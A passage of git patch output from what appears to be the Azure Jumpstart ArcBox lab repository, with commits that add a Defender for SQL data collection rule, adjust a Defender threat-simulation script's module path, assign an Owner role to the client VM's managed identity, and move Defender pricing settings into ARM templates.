XBS2Pk5HZHixBpOXPTEztTnXwnE2P9pkbHzQdTltuw8x5MKP+2zRoZQYIu7pZmc6 +# U03dmLq2HnjYNi6cqYJWAAOwBb6J6Gngugnue99qb74py27YP0h1AdkY3m2CDPVt +# I1TkeFN1JFe53Z/zjj3G82jfZfakVqr3lbYoVSfQJL1AoL8ZthISEV09J+BAljis +# 9/kpicO8F7BUhUKz/AyeixmJ5/ALaoHCgRlCGVJ1ijbCHcNhcy4sa3tuPywJeBTp +# kbKpW99Jo3QMvOyRgNI95ko+ZjtPu4b6MhrZlvSP9pEB9s7GdP32THJvEKt1MMU0 +# sHrYUP4KWN1APMdUbZ1jdEgssU5HLcEUBHG/ZPkkvnNtyo4JvbMBV0lUZNlz138e +# W0QBjloZkWsNn6Qo3GcZKCS6OEuabvshVGtqRRFHqfG3rsjoiV5PndLQTHa1V1QJ +# sWkBRH58oWFsc/4Ku+xBZj1p/cvBQUl+fpO+y/g75LcVv7TOPqUxUYS8vwLBgqJ7 +# Fx0ViY1w/ue10CgaiQuPNtq6TPmb/wrpNPgkNWcr4A245oyZ1uEi6vAnQj0llOZ0 +# dFtq0Z4+7X6gMTN9vMvpe784cETRkPHIqzqKOghif9lwY1NNje6CbaUFEMFxBmoQ +# tB1VM1izoXBm8qGCAtcwggJAAgEBMIIBAKGB2KSB1TCB0jELMAkGA1UEBhMCVVMx +# EzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoT +# FU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEtMCsGA1UECxMkTWljcm9zb2Z0IElyZWxh +# bmQgT3BlcmF0aW9ucyBMaW1pdGVkMSYwJAYDVQQLEx1UaGFsZXMgVFNTIEVTTjo4 +# RDQxLTRCRjctQjNCNzElMCMGA1UEAxMcTWljcm9zb2Z0IFRpbWUtU3RhbXAgU2Vy +# dmljZaIjCgEBMAcGBSsOAwIaAxUAcYtE6JbdHhKlwkJeKoCV1JIkDmGggYMwgYCk +# fjB8MQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMH +# UmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSYwJAYDVQQD +# Ex1NaWNyb3NvZnQgVGltZS1TdGFtcCBQQ0EgMjAxMDANBgkqhkiG9w0BAQUFAAIF +# AOiyYcgwIhgPMjAyMzA5MTgxMzQyMzJaGA8yMDIzMDkxOTEzNDIzMlowdzA9Bgor +# BgEEAYRZCgQBMS8wLTAKAgUA6LJhyAIBADAKAgEAAgIChgIB/zAHAgEAAgIROzAK +# AgUA6LOzSAIBADA2BgorBgEEAYRZCgQCMSgwJjAMBgorBgEEAYRZCgMCoAowCAIB +# AAIDB6EgoQowCAIBAAIDAYagMA0GCSqGSIb3DQEBBQUAA4GBACimMe8cWKdDT195 +# yYjM1xA0PaVJZTKOTcZxKpsJIEJtnSpCniqblmhL7GC4Wp9IvBGitFvYpqjFD6eh +# FI7N5k5G7ys6TEoyjhF7MN2nH/6XoZBg0DvaOGgyxToNDUCHxc3h4YRShpibbtPw +# VnlW4zxMmF63EOwKayeREuMrV0C+MYIEDTCCBAkCAQEwgZMwfDELMAkGA1UEBhMC +# VVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNV +# BAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEmMCQGA1UEAxMdTWljcm9zb2Z0IFRp +# bWUtU3RhbXAgUENBIDIwMTACEzMAAAGz/iXOKRsbihwAAQAAAbMwDQYJYIZIAWUD +# BAIBBQCgggFKMBoGCSqGSIb3DQEJAzENBgsqhkiG9w0BCRABBDAvBgkqhkiG9w0B +# CQQxIgQg8bba9jmx1gXjrocO2kpKFenYfHRbM6DVHirayqpDD1wwgfoGCyqGSIb3 +# DQEJEAIvMYHqMIHnMIHkMIG9BCCGoTPVKhDSB7ZG0zJQZUM2jk/ll1zJGh6KOhn7 +# 6k+/QjCBmDCBgKR+MHwxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9u +# MRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRp +# b24xJjAkBgNVBAMTHU1pY3Jvc29mdCBUaW1lLVN0YW1wIFBDQSAyMDEwAhMzAAAB +# s/4lzikbG4ocAAEAAAGzMCIEILRyvQNx1MvWYIYXY8BuJmvmTpQf801ozzl6JhrX +# vU4vMA0GCSqGSIb3DQEBCwUABIICALD8yrBcUdrtKJAx5BOhHqnXo/uXujn0dq6I +# Bn4lrCDTcJadRxmUnEyJHDpa26LbWYWuvHrPA2lAlwY7GzBMeWtYYEXCm1L0sUCX +# hhMV4tGLtJ3k/b/Bjd02eOHuTtqBTBPdpBeoDyKvGGGFzHC4Uck9v1M0ZgRH1aNo +# pXhMbO6OP+PnVQWfdJuNQk1s5nHxKD2k0VoaY/9/LVWv8ywZ/0qzA16JUdA6RxnS +# CMZERDw6oFLLw5GW/7SFQux4SN22AwqlnMerxHTz4xXMrG2irrTGAEYJfB5d0i8P +# 0/4D6z23cuVGkZDSGe4Z1TnV8B+3uPKwOlpMyNdDtpK5cisGoPuN7dwQJ8G1vz8M +# XX5i/M4b5APzN0GSHUy1kNO36D9c7NPqtdPS7CBYLR1jIsjK+MKFjevAXFBnVX9L +# Y+8zy6y4iA48W2ED+LmDdPO0U0X5uFsyWqw7Xk4j2pf91d/FhwbKc6yINpsgqt80 +# upmYuaYrENKIErmk5gAJevj7m1c5BgWBWjS9TcNe3sM+DiAKu1UEStnuapWHOljv +# w22o0a1Tpw3TJnq+xRzc4SkMSu7p/E9yKvy0/a8XRVVoA8ZWbGNMC6IDpnBW88bo +# 9Pdnjl9cu5p4M/yLtpf/YF6159C4HFoFC3uPm2tzO/CNleFnSRUNmGUB9P2cfuFe +# tsgd9AN1 +# SIG # End signature block diff --git a/azure_jumpstart_arcbox/artifacts/defendersqldcrtemplate.json b/azure_jumpstart_arcbox/artifacts/defendersqldcrtemplate.json new file mode 100644 index 0000000000..3adffbd0f5 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/defendersqldcrtemplate.json @@ -0,0 +1,42 @@ +{ + "properties": { + "description": "Data collection rule for Azure Defender for SQL. Deleting this rule will break the detection of Azure Defender for SQL.", + "dataSources": { + "extensions": [ + { + "streams": [ + "Microsoft-DefenderForSqlAlerts", + "Microsoft-DefenderForSqlLogins", + "Microsoft-DefenderForSqlTelemetry", + "Microsoft-SqlAtpStatus-DefenderForSql" + ], + "extensionName": "AdvancedThreatProtection", + "extensionSettings": { + "enableCollectionOfSqlQueriesForSecurityReserch": "true" + }, + "name": "AdvancedThreatProtection" + } + ] + }, + "destinations": { + "logAnalytics": [ + { + "workspaceResourceId": "{LOGANLYTICS_WORKSPACEID}", + "name": "LogAnalyticsDest" + } + ] + }, + "dataFlows": [ + { + "streams": [ + "Microsoft-DefenderForSqlAlerts", + "Microsoft-DefenderForSqlLogins", + "Microsoft-DefenderForSqlTelemetry" + ], + "destinations": [ + "LogAnalyticsDest" + ] + } + ] + } +} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 b/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 index ffae28d5e4..e3e50fe505 100644 --- a/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 +++ b/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 @@ -1,22 +1,10 @@ # Execute sql commands to generate defender for cloud alerts +param ( + [string]$workingDir = "C:\ArcBox" +) Write-Host "Executing Defender for SQL threat simulation script." -$attempts = 0 - -while ($attempts -le 5) -{ - $moduleFile = (Get-ChildItem -Path "$Env:ProgramFiles\Microsoft Monitoring Agent\Agent\Health Service State\Resources\" -File SqlAdvancedThreatProtectionShell.psm1 -Recurse -ErrorAction SilentlyContinue).FullName - $attempts = $attempts + 1 - if ($true -eq [System.IO.File]::Exists($moduleFile)) - { - Write-Host "Found module file $moduleFile installed." - break - } - else - { - Write-Host "Module file $moduleFile not installed. Waiting for the module to be installed. Attempt: $attempts" - Start-Sleep(60) # Wait for agent to isntall all modules - } -} +Write-Host "Current working directory: $pwd" +$moduleFile = $workingDir + "\SqlAdvancedThreatProtectionShell.psm1" if ($true -ne [System.IO.File]::Exists($moduleFile)) { From 68d3ef358e4b7f95a361376c3e4fd2c8c3c45cc3 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 16:07:44 -0400 Subject: [PATCH 152/456] Update clientVm.json --- .../ARM/clientVm/clientVm.json | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 87839f663c..9dee7da4b3 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -276,6 +276,9 @@ "name": "[variables('vmName')]", "location": "[parameters('location')]", "tags": "[parameters('resourceTags')]", + "identity": { + "type": "SystemAssigned" + }, "dependsOn": [ "[resourceId('Microsoft.Network/networkInterfaces/', variables('networkInterfaceName'))]" ], @@ -341,9 +344,23 @@ "commandToExecute": "[concat('powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1', ' -adminUsername ', parameters('windowsAdminUsername'), ' -adminPassword ' , parameters('windowsAdminPassword'), ' -spnClientId ', parameters('spnClientId'), ' -spnClientSecret ', parameters('spnClientSecret'), ' -spnTenantId ', parameters('spnTenantId'), ' -spnAuthority ', parameters('spnAuthority'), ' -subscriptionId ', subscription().subscriptionId, ' -resourceGroup ', resourceGroup().name, ' -azdataUsername ', parameters('azdataUsername'), ' -azdataPassword ', parameters('azdataPassword'), ' -acceptEula ', parameters('acceptEula'), ' -registryUsername ', parameters('registryUsername'), ' -registryPassword ', parameters('registryPassword'), ' -arcDcName ', parameters('arcDcName'), ' -azureLocation ', parameters('location'), ' -mssqlmiName ', parameters('mssqlmiName'), ' -POSTGRES_NAME ', parameters('postgresName'), ' -POSTGRES_WORKER_NODE_COUNT ', parameters('postgresWorkerNodeCount'), ' -POSTGRES_DATASIZE ', parameters('postgresDatasize'), ' -POSTGRES_SERVICE_TYPE ', parameters('postgresServiceType'), ' -stagingStorageAccountName ', parameters('stagingStorageAccountName'), ' -workspaceName ', parameters('workspaceName'), ' -capiArcDataClusterName ', parameters('capiArcDataClusterName'), ' -templateBaseUrl ', parameters('templateBaseUrl'), ' -flavor ', parameters('flavor'), ' -k3sArcClusterName ', parameters('k3sArcClusterName'), ' -aksArcClusterName ', parameters('aksArcClusterName') , ' -aksdrArcClusterName ', parameters('aksdrArcClusterName') , ' -githubUser ', parameters('githubUser'), ' -rdpPort ', parameters('rdpPort'), ' -sshPort ', parameters('sshPort'))]" } } + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "scope": "[resourceGroup()]", + "name": "guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner')", + "properties": { + "roleDefinitionId": "resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')", + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', variables('vmName')), '2019-07-01', 'Full').identity.principalId]" }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines/', variables('vmName'))]" + ], + "metadata": { + "description": "Assigns Client VM managed identity Owner Role at resource group level" + } } ], - "outputs": { "adminUsername": { "type": "string", From 4fc8608d7217563f220ddcf26a54f57cd2b2dcab Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 16:15:28 -0400 Subject: [PATCH 153/456] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 9dee7da4b3..0b37692f1a 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -348,7 +348,7 @@ { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", - "scope": "[resourceGroup()]", + "scope": "resourceGroup()", "name": "guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner')", "properties": { "roleDefinitionId": "resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')", From a11eb0a6e5abc2939357353311d6c9b1d652d364 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 16:30:05 -0400 Subject: [PATCH 154/456] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 0b37692f1a..ca9200e0aa 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -348,10 +348,10 @@ { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", - "scope": "resourceGroup()", - "name": "guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner')", + "scope": "[resourceGroup()]", + "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Owner')]", "properties": { - "roleDefinitionId": "resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', variables('vmName')), '2019-07-01', 'Full').identity.principalId]" }, "dependsOn": [ "[resourceId('Microsoft.Compute/virtualMachines/', variables('vmName'))]" From c738091ef74a6b0973d99e4273dccd61819cdf04 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 16:32:18 -0400 Subject: [PATCH 155/456] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index ca9200e0aa..8cc1452700 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -348,7 +348,7 @@ { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", - "scope": "[resourceGroup()]", + "scope": "resourceGroup()", "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Owner')]", "properties": { "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", From 05c88f174c17aa638f4fc9003fbaaafbf3ea25ca Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 16:35:43 -0400 Subject: [PATCH 156/456] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 8cc1452700..a66b520ec2 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -348,7 +348,7 @@ { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", - "scope": "resourceGroup()", + "scope": "resourceGroup().id", "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Owner')]", "properties": { "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", From d39eb37921f009edab2d6ed63f11ed21c70689f6 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 16:45:38 -0400 Subject: [PATCH 157/456] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index a66b520ec2..67ca2c1055 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -348,7 +348,7 @@ { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", - "scope": "resourceGroup().id", + "scope": "[resourceGroup().id]", "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Owner')]", "properties": { "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", From e0481adbfc5f7ce4dda14aa48024796d1fd25a7b Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 17:18:05 -0400 Subject: [PATCH 158/456] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 67ca2c1055..530fdcdc8d 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -348,13 +348,12 @@ { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", - "scope": "[resourceGroup().id]", "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Owner')]", "properties": { - "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "roleDefinitionId": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', variables('vmName')), '2019-07-01', 'Full').identity.principalId]" }, "dependsOn": [ - "[resourceId('Microsoft.Compute/virtualMachines/', variables('vmName'))]" + "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]" ], "metadata": { "description": "Assigns Client VM managed identity Owner Role at resource group level" From c76c77d6c73a05bb68c54c0821ae908b34ab60eb Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 20:46:36 -0400 Subject: [PATCH 159/456] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 530fdcdc8d..0015ee0584 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -358,6 +358,21 @@ "metadata": { "description": "Assigns Client VM managed identity Owner Role at resource group level" } + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Contributor')]", + "scope": "subscription().id", + "properties": { + "roleDefinitionId": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', variables('vmName')), '2019-07-01', 'Full').identity.principalId]" }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]" + ], + "metadata": { + "description": "Assigns Client VM managed identity Contributor Role at subscription level" + } } ], "outputs": { From 0419f259280e6c5c29debe6f10dfc747e3c95f4c Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 20:51:26 -0400 Subject: [PATCH 160/456] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 0015ee0584..bc4110966f 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -363,7 +363,7 @@ "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Contributor')]", - "scope": "subscription().id", + "scope": "[subscription().id]", "properties": { "roleDefinitionId": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', variables('vmName')), '2019-07-01', 'Full').identity.principalId]" }, From efef48e172f6722d81dac41648ae03eb35a3956c Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 20:59:21 -0400 Subject: [PATCH 161/456] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index bc4110966f..f1928986e5 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -363,9 +363,8 @@ "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Contributor')]", - "scope": "[subscription().id]", "properties": { - "roleDefinitionId": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", + "roleDefinitionId": "[concat('/subscriptions/', subscription().subscriptionId, '/providers/Microsoft.Authorization/roleDefinitions/', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', variables('vmName')), '2019-07-01', 'Full').identity.principalId]" }, "dependsOn": [ "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]" From f1403260e8d0547ee5f4231d574da75e346aeb18 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 21:05:17 -0400 Subject: [PATCH 162/456] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index f1928986e5..530fdcdc8d 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -358,20 +358,6 @@ "metadata": { "description": "Assigns Client VM managed identity Owner Role at resource group level" } - }, - { - "type": "Microsoft.Authorization/roleAssignments", - "apiVersion": "2022-04-01", - "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Contributor')]", - "properties": { - "roleDefinitionId": "[concat('/subscriptions/', subscription().subscriptionId, '/providers/Microsoft.Authorization/roleDefinitions/', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", - "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', variables('vmName')), '2019-07-01', 'Full').identity.principalId]" }, - "dependsOn": [ - "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]" - ], - "metadata": { - "description": "Assigns Client VM managed identity Contributor Role at subscription level" - } } ], "outputs": { From 3faadefd024250af79b01c44c6d0adbe52ee4758 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 21:07:02 -0400 Subject: [PATCH 163/456] Update ArcServersLogonScript.ps1 --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 7 ------- 1 file changed, 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index d743e1da72..04029bfb6b 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -138,15 +138,8 @@ if ($Env:flavor -ne "DevOps") { Write-Header "Az PowerShell Login" Connect-AzAccount -Identity -Tenant $spnTenantId -Subscription $subscriptionId - # Register Azure providers - Write-Header "Registering Providers" - @("Microsoft.HybridCompute","Microsoft.HybridConnectivity","Microsoft.GuestConfiguration","Microsoft.AzureArcData") | ForEach-Object -Parallel { - az provider register --namespace $PSItem --wait --only-show-errors - } - # Enable defender for cloud for SQL Server # Get workspace information - $workspaceID = (az monitor log-analytics workspace show --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "customerId" -o tsv) $workspaceResourceID = (az monitor log-analytics workspace show --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "id" -o tsv) # Verify existing plan and update accordingly From a41071474ebdd4d655a3dbea0869c86010a0244c Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 21:33:25 -0400 Subject: [PATCH 164/456] Update ArcServersLogonScript.ps1 --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 04029bfb6b..5ad7192f5d 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -221,7 +221,9 @@ if ($Env:flavor -ne "DevOps") { } while($retryCount -le 5) # Create SQL server extension as policy to auto deployment is disabled + Write-Host "Installing SQL Server extension on the Arc-enabled Server." az connectedmachine extension create --machine-name $SQLvmName --name "WindowsAgent.SqlServer" --resource-group $resourceGroup --type "WindowsAgent.SqlServer" --publisher "Microsoft.AzureData" --settings '{\"LicenseType\":\"Paid\", \"SqlManagement\": {\"IsEnabled\":true}}' + Write-Host "SQL Server extension installation on the Arc-enabled Server successful." $retryCount = 0 do { From 7afbe4117a93ad5b5013bb683cc4a227f1ad5cfb Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Fri, 21 Jun 2024 09:34:08 -0400 Subject: [PATCH 165/456] Moved Defender for SQL Server plan update into ARM template --- .../ARM/mgmt/mgmtArtifacts.json | 22 ++++++++++++++++++- .../artifacts/ArcServersLogonScript.ps1 | 15 ------------- 2 files changed, 21 insertions(+), 16 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json b/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json index 7f7d360ced..b0904e3b1d 100644 --- a/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json +++ b/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json @@ -598,6 +598,26 @@ } ] } - } + }, + { + "type": "Microsoft.Security/pricings", + "apiVersion": "2024-01-01", + "name": "SqlServerVirtualMachines", + "properties": { + "pricingTier": "Standard" + } + }, + { + "type": "Microsoft.Security/workspaceSettings", + "apiVersion": "2017-08-01-preview", + "name": "default", + "properties": { + "workspaceId": "[concat('/subscriptions/', subscription().id, '/resourceGroups/', resourceGroup().name, '/providers/Microsoft.OperationalInsights/workspaces/', parameters('workspaceName'))]", + "scope": "[subscription().id]" + }, + "dependsOn": [ + "[resourceId('Microsoft.OperationalInsights/workspaces', parameters('workspaceName'))]" + ] + } ] } diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 5ad7192f5d..a5d1659482 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -142,21 +142,6 @@ if ($Env:flavor -ne "DevOps") { # Get workspace information $workspaceResourceID = (az monitor log-analytics workspace show --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "id" -o tsv) - # Verify existing plan and update accordingly - $currentsqlplan = (az security pricing show -n SqlServerVirtualMachines --subscription $subscriptionId | ConvertFrom-Json) - if ($currentsqlplan.pricingTier -eq "Free") { - # Update to standard plan - Write-Header "Current Defender for SQL plan is $($currentsqlplan.pricingTier). Updating to standard plan." - az security pricing create -n SqlServerVirtualMachines --tier 'standard' --subscription $subscriptionId --only-show-errors - 